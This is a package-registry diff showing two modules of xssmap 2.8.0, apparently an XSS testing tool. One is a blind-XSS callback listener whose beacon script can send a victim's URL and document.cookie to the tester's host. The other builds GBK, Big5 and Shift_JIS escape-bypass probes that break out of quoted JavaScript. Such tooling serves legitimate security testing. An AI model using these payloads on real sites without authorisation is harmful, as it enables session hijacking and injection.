xssmap 2.8.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- xssmap/__init__.py +10 -0
- xssmap/__main__.py +6 -0
- xssmap/browser.py +900 -0
- xssmap/brute.py +563 -0
- xssmap/callback.py +161 -0
- xssmap/charset.py +117 -0
- xssmap/cli.py +1375 -0
- xssmap/contexts.py +131 -0
- xssmap/crawler.py +462 -0
- xssmap/csp.py +674 -0
- xssmap/domscan.py +1098 -0
- xssmap/domstate.py +620 -0
- xssmap/efficiency.py +196 -0
- xssmap/exploit.py +619 -0
- xssmap/filters.py +329 -0
- xssmap/fuzz.py +236 -0
- xssmap/htmlparse.py +437 -0
- xssmap/jslib.py +436 -0
- xssmap/mxss.py +250 -0
- xssmap/net.py +636 -0
- xssmap/params.py +419 -0
- xssmap/payloads.py +585 -0
- xssmap/report.py +863 -0
- xssmap/repro.py +259 -0
- xssmap/sarif.py +260 -0
- xssmap/scanner.py +1663 -0
- xssmap/session.py +472 -0
- xssmap/state.py +133 -0
- xssmap/stored.py +407 -0
- xssmap/subdomains.py +469 -0
- xssmap/verify.py +113 -0
- xssmap/waf.py +604 -0
- xssmap-2.8.0.dist-info/METADATA +850 -0
- xssmap-2.8.0.dist-info/RECORD +37 -0
- xssmap-2.8.0.dist-info/WHEEL +5 -0
- xssmap-2.8.0.dist-info/entry_points.txt +2 -0
- xssmap-2.8.0.dist-info/top_level.txt +1 -0
xssmap/callback.py
ADDED
|
@@ -0,0 +1,161 @@
|
|
|
1
|
+
"""Out-of-band callback listener for blind XSS.
|
|
2
|
+
|
|
3
|
+
Blind XSS is the case where the payload is stored on the target but rendered
|
|
4
|
+
somewhere the tester cannot see: an admin inbox, a moderation queue, a log
|
|
5
|
+
viewer. Reflection checks are useless there, because the page that executes the
|
|
6
|
+
payload is not the page that stored it.
|
|
7
|
+
|
|
8
|
+
The proof has to come from the payload itself calling home. This module is a
|
|
9
|
+
tiny HTTP listener that does exactly that:
|
|
10
|
+
|
|
11
|
+
* ``GET /b.js?m=<marker>`` serves a one-line beacon that immediately requests
|
|
12
|
+
``/hit?m=<marker>`` with the victim's URL, so a hit proves that a *browser on
|
|
13
|
+
another page* executed script we planted.
|
|
14
|
+
* ``GET /hit?m=<marker>`` records the hit (marker, URL, user agent, time).
|
|
15
|
+
|
|
16
|
+
Session cookies are *not* collected unless ``--capture-cookies`` is passed: an
|
|
17
|
+
OOB hit already proves execution, and reading another user's session cookie is a
|
|
18
|
+
much bigger step than proving that script ran. When enabled, one cookie string
|
|
19
|
+
per hit is recorded and the report says so.
|
|
20
|
+
|
|
21
|
+
Only stdlib, binds to loopback by default, and every hit is timestamped so the
|
|
22
|
+
report can show ordering (planted at T0, executed at T1).
|
|
23
|
+
"""
|
|
24
|
+
from __future__ import annotations
|
|
25
|
+
|
|
26
|
+
import threading
|
|
27
|
+
import time
|
|
28
|
+
import urllib.parse
|
|
29
|
+
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
|
|
30
|
+
|
|
31
|
+
# %s, not str.format: the IIFE braces would be parsed as format fields.
|
|
32
|
+
BEACON_JS = (
|
|
33
|
+
"(function(){var m=%s;var u=encodeURIComponent(location.href);"
|
|
34
|
+
"var i=new Image();i.src='/hit?m='+m+'&u='+u+'&c='+encodeURIComponent(%s);})();"
|
|
35
|
+
)
|
|
36
|
+
COOKIE_EXPR = "document.cookie"
|
|
37
|
+
EMPTY_EXPR = "''"
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
class _Handler(BaseHTTPRequestHandler):
|
|
41
|
+
server_version = "xssmap-callback"
|
|
42
|
+
|
|
43
|
+
def log_message(self, fmt, *args): # silence the default stderr chatter
|
|
44
|
+
pass
|
|
45
|
+
|
|
46
|
+
def _plain(self, code: int, body: bytes, ctype: str = "text/plain") -> None:
|
|
47
|
+
self.send_response(code)
|
|
48
|
+
self.send_header("Content-Type", ctype)
|
|
49
|
+
self.send_header("Content-Length", str(len(body)))
|
|
50
|
+
self.send_header("Cache-Control", "no-store")
|
|
51
|
+
self.end_headers()
|
|
52
|
+
try:
|
|
53
|
+
self.wfile.write(body)
|
|
54
|
+
except Exception:
|
|
55
|
+
pass
|
|
56
|
+
|
|
57
|
+
def do_GET(self):
|
|
58
|
+
parsed = urllib.parse.urlsplit(self.path)
|
|
59
|
+
query = urllib.parse.parse_qs(parsed.query)
|
|
60
|
+
marker = (query.get("m") or [""])[0][:120]
|
|
61
|
+
listener: CallbackListener = self.server.listener # type: ignore[attr-defined]
|
|
62
|
+
|
|
63
|
+
if parsed.path.rstrip("/").endswith("b.js"):
|
|
64
|
+
body = listener.beacon(marker).encode()
|
|
65
|
+
listener.record(marker, self.path, self.headers.get("User-Agent", ""),
|
|
66
|
+
urllib.parse.unquote((query.get("u") or [""])[0]),
|
|
67
|
+
kind="script")
|
|
68
|
+
self._plain(200, body, "application/javascript")
|
|
69
|
+
return
|
|
70
|
+
|
|
71
|
+
listener.record(marker, self.path, self.headers.get("User-Agent", ""),
|
|
72
|
+
urllib.parse.unquote((query.get("u") or [""])[0]),
|
|
73
|
+
kind="hit", cookie=(query.get("c") or [""])[0][:200])
|
|
74
|
+
self._plain(200, b"ok")
|
|
75
|
+
|
|
76
|
+
def do_POST(self):
|
|
77
|
+
length = int(self.headers.get("Content-Length") or 0)
|
|
78
|
+
body = self.rfile.read(min(length, 65536)) if length else b""
|
|
79
|
+
listener: CallbackListener = self.server.listener # type: ignore[attr-defined]
|
|
80
|
+
listener.record("", self.path, self.headers.get("User-Agent", ""),
|
|
81
|
+
body[:400].decode("utf-8", "replace"), kind="post")
|
|
82
|
+
self._plain(200, b"ok")
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
class CallbackListener:
|
|
86
|
+
"""Loopback HTTP listener that records payload call-backs."""
|
|
87
|
+
|
|
88
|
+
def __init__(self, host: str = "127.0.0.1", port: int = 0, log=None,
|
|
89
|
+
capture_cookies: bool = False, public_url: str = ""):
|
|
90
|
+
self.host = host
|
|
91
|
+
self.port = port
|
|
92
|
+
self.log = log
|
|
93
|
+
self.capture_cookies = capture_cookies
|
|
94
|
+
# The address to embed in payloads can differ from the bind address
|
|
95
|
+
# (tunnel, port-forward, container network). Empty means "use the
|
|
96
|
+
# host:port the listener actually bound".
|
|
97
|
+
self.public_url = (public_url or "").strip().rstrip("/")
|
|
98
|
+
self.hits: list[dict] = []
|
|
99
|
+
self._lock = threading.Lock()
|
|
100
|
+
self._httpd: ThreadingHTTPServer | None = None
|
|
101
|
+
self._thread: threading.Thread | None = None
|
|
102
|
+
|
|
103
|
+
# -- lifecycle -----------------------------------------------------
|
|
104
|
+
def start(self) -> CallbackListener:
|
|
105
|
+
httpd = ThreadingHTTPServer((self.host, self.port), _Handler)
|
|
106
|
+
httpd.daemon_threads = True
|
|
107
|
+
httpd.listener = self # type: ignore[attr-defined]
|
|
108
|
+
self.port = httpd.server_address[1]
|
|
109
|
+
self._httpd = httpd
|
|
110
|
+
self._thread = threading.Thread(target=httpd.serve_forever, daemon=True,
|
|
111
|
+
name="xssmap-callback")
|
|
112
|
+
self._thread.start()
|
|
113
|
+
return self
|
|
114
|
+
|
|
115
|
+
def stop(self) -> None:
|
|
116
|
+
if self._httpd is not None:
|
|
117
|
+
try:
|
|
118
|
+
self._httpd.shutdown()
|
|
119
|
+
self._httpd.server_close()
|
|
120
|
+
except Exception:
|
|
121
|
+
pass
|
|
122
|
+
self._httpd = None
|
|
123
|
+
|
|
124
|
+
@property
|
|
125
|
+
def url(self) -> str:
|
|
126
|
+
if self.public_url:
|
|
127
|
+
return self.public_url
|
|
128
|
+
return f"http://{self.host}:{self.port}"
|
|
129
|
+
|
|
130
|
+
def beacon(self, marker: str) -> str:
|
|
131
|
+
"""Beacon script for one marker; cookie capture is opt-in."""
|
|
132
|
+
expr = COOKIE_EXPR if self.capture_cookies else EMPTY_EXPR
|
|
133
|
+
return BEACON_JS % (repr(marker or ""), expr)
|
|
134
|
+
|
|
135
|
+
# -- recording -----------------------------------------------------
|
|
136
|
+
def record(self, marker: str, path: str, agent: str, victim_url: str,
|
|
137
|
+
kind: str = "hit", cookie: str = "") -> None:
|
|
138
|
+
entry = {"marker": marker, "path": path[:200], "agent": agent[:160],
|
|
139
|
+
"victim_url": victim_url[:300], "kind": kind,
|
|
140
|
+
"at": time.strftime("%H:%M:%S"), "cookie": cookie}
|
|
141
|
+
with self._lock:
|
|
142
|
+
self.hits.append(entry)
|
|
143
|
+
if self.log is not None:
|
|
144
|
+
try:
|
|
145
|
+
self.log.ok(f"callback {kind}: marker {marker or '-'} from "
|
|
146
|
+
f"{victim_url or agent[:60] or 'unknown'}")
|
|
147
|
+
except Exception:
|
|
148
|
+
pass
|
|
149
|
+
|
|
150
|
+
def seen(self, marker: str) -> list[dict]:
|
|
151
|
+
with self._lock:
|
|
152
|
+
return [h for h in self.hits if marker and h["marker"] == marker]
|
|
153
|
+
|
|
154
|
+
def wait_for(self, marker: str, timeout: float = 6.0) -> dict | None:
|
|
155
|
+
deadline = time.time() + timeout
|
|
156
|
+
while time.time() < deadline:
|
|
157
|
+
found = self.seen(marker)
|
|
158
|
+
if found:
|
|
159
|
+
return found[0]
|
|
160
|
+
time.sleep(0.15)
|
|
161
|
+
return None
|
xssmap/charset.py
ADDED
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
"""Multibyte charset escaping bypasses (GBK, Big5, Shift_JIS).
|
|
2
|
+
|
|
3
|
+
Backslash-escaping assumes one byte is one character. In a multibyte encoding
|
|
4
|
+
it is not: a lead byte followed by ``0x5C`` is a single character, so an escape
|
|
5
|
+
routine that turns ``'`` into ``\\'`` produces a byte sequence the database (or
|
|
6
|
+
the template engine) decodes as *one character followed by a bare quote*. The
|
|
7
|
+
quote closes the string the developer thought was protected.
|
|
8
|
+
|
|
9
|
+
The canonical case is the Java/MySQL ``SET NAMES gbk`` bug: the input
|
|
10
|
+
``0xBF 0x27`` is escaped to ``0xBF 0x5C 0x27``, which decodes as ``縗`` + ``'``.
|
|
11
|
+
|
|
12
|
+
Detecting this needs bytes, not text: the check is whether ``lead + 0x5C``
|
|
13
|
+
decodes to exactly one character under the page's declared charset, and whether
|
|
14
|
+
a quote and the injected code follow it. A page that escapes correctly (or
|
|
15
|
+
escapes twice, or never decodes as that charset) fails the test.
|
|
16
|
+
"""
|
|
17
|
+
from __future__ import annotations
|
|
18
|
+
|
|
19
|
+
import re
|
|
20
|
+
from dataclasses import dataclass
|
|
21
|
+
|
|
22
|
+
_CHARSET_PARAM_RE = re.compile(r"charset\s*=\s*[\"']?\s*([\w.:-]+)", re.I)
|
|
23
|
+
_META_CHARSET_RE = re.compile(rb"<meta[^>]+charset\s*=\s*[\"']?\s*([a-z0-9_.:-]+)", re.I)
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
@dataclass(frozen=True)
|
|
27
|
+
class Family:
|
|
28
|
+
"""One multibyte encoding that can swallow an escape byte."""
|
|
29
|
+
|
|
30
|
+
name: str
|
|
31
|
+
codec: str
|
|
32
|
+
lead: bytes # lead byte that consumes a following 0x5C
|
|
33
|
+
aliases: tuple[str, ...]
|
|
34
|
+
note: str
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
FAMILIES: tuple[Family, ...] = (
|
|
38
|
+
Family("GBK", "gbk", b"\xbf",
|
|
39
|
+
("gbk", "gb2312", "gb_2312-80", "gb18030", "cp936", "x-gbk", "euc-cn"),
|
|
40
|
+
"GBK/GB2312/GB18030 (0xBF 0x5C is one character)"),
|
|
41
|
+
Family("Big5", "big5", b"\xa1",
|
|
42
|
+
("big5", "big5-hkscs", "cp950", "x-x-big5"),
|
|
43
|
+
"Big5 (0xA1 0x5C is one character)"),
|
|
44
|
+
Family("Shift_JIS", "shift_jis", b"\x81",
|
|
45
|
+
("shift_jis", "shift-jis", "sjis", "x-sjis", "windows-31j", "cp932", "ms_kanji"),
|
|
46
|
+
"Shift_JIS (0x81 0x5C is one character)"),
|
|
47
|
+
)
|
|
48
|
+
|
|
49
|
+
BY_NAME = {alias: family for family in FAMILIES for alias in family.aliases}
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def family_for(charset: str | None) -> Family | None:
|
|
53
|
+
"""Map a charset label to the multibyte family it belongs to."""
|
|
54
|
+
if not charset:
|
|
55
|
+
return None
|
|
56
|
+
return BY_NAME.get(charset.strip().strip("\"'").lower())
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def detect(content_type: str | None, body: bytes = b"") -> Family | None:
|
|
60
|
+
"""Find the response charset from the header, then from a <meta> tag."""
|
|
61
|
+
match = _CHARSET_PARAM_RE.search(content_type or "")
|
|
62
|
+
if match:
|
|
63
|
+
family = family_for(match.group(1))
|
|
64
|
+
if family:
|
|
65
|
+
return family
|
|
66
|
+
meta = _META_CHARSET_RE.search(body[:4096])
|
|
67
|
+
if meta:
|
|
68
|
+
return family_for(meta.group(1).decode("ascii", "ignore"))
|
|
69
|
+
return None
|
|
70
|
+
|
|
71
|
+
|
|
72
|
+
def pair_is_one_character(family: Family, lead: bytes, trail: bytes = b"\\") -> bool:
|
|
73
|
+
"""Does ``lead + trail`` decode to a single character in this encoding?"""
|
|
74
|
+
try:
|
|
75
|
+
decoded = (lead + trail).decode(family.codec)
|
|
76
|
+
except (UnicodeDecodeError, LookupError):
|
|
77
|
+
return False
|
|
78
|
+
return len(decoded) == 1
|
|
79
|
+
|
|
80
|
+
|
|
81
|
+
def escape_observed(body: bytes, quote: bytes = b"'") -> bool:
|
|
82
|
+
"""Did the application backslash-escape the quote at all?"""
|
|
83
|
+
return b"\\" + quote in (body or b"")
|
|
84
|
+
|
|
85
|
+
|
|
86
|
+
def probe_bytes(family: Family, js: str) -> bytes:
|
|
87
|
+
"""Bytes that break a single-quoted JS string through the escape byte.
|
|
88
|
+
|
|
89
|
+
``lead`` + ``'`` is escaped to ``lead + \\ + '``; that pair decodes to one
|
|
90
|
+
character, so ``'`` terminates the string, ``;`` starts our statement and
|
|
91
|
+
the trailing ``//`` comments out whatever the template appended.
|
|
92
|
+
"""
|
|
93
|
+
return family.lead + b"';" + js.encode("ascii", "ignore") + b"//"
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
def bypass_in_body(body: bytes, family: Family, js_head: bytes = b"document.") -> bool:
|
|
97
|
+
"""Is the escaped quote decoded as a bare quote followed by our code?
|
|
98
|
+
|
|
99
|
+
Requires the exact byte pattern the probe produces after escaping:
|
|
100
|
+
``lead 0x5C 0x27 ;`` -- and that ``lead 0x5C`` really is one character in
|
|
101
|
+
the declared encoding. Anything else (double escaping, utf-8, quote
|
|
102
|
+
stripping) fails the check.
|
|
103
|
+
"""
|
|
104
|
+
needle = family.lead + b"\\';"
|
|
105
|
+
body = body or b""
|
|
106
|
+
index = body.find(needle)
|
|
107
|
+
while index != -1:
|
|
108
|
+
if pair_is_one_character(family, family.lead):
|
|
109
|
+
tail = body[index + len(needle):index + len(needle) + len(js_head)]
|
|
110
|
+
if tail == js_head:
|
|
111
|
+
return True
|
|
112
|
+
index = body.find(needle, index + 1)
|
|
113
|
+
return False
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
def describe(family: Family) -> str:
|
|
117
|
+
return f"{family.name} ({family.note})"
|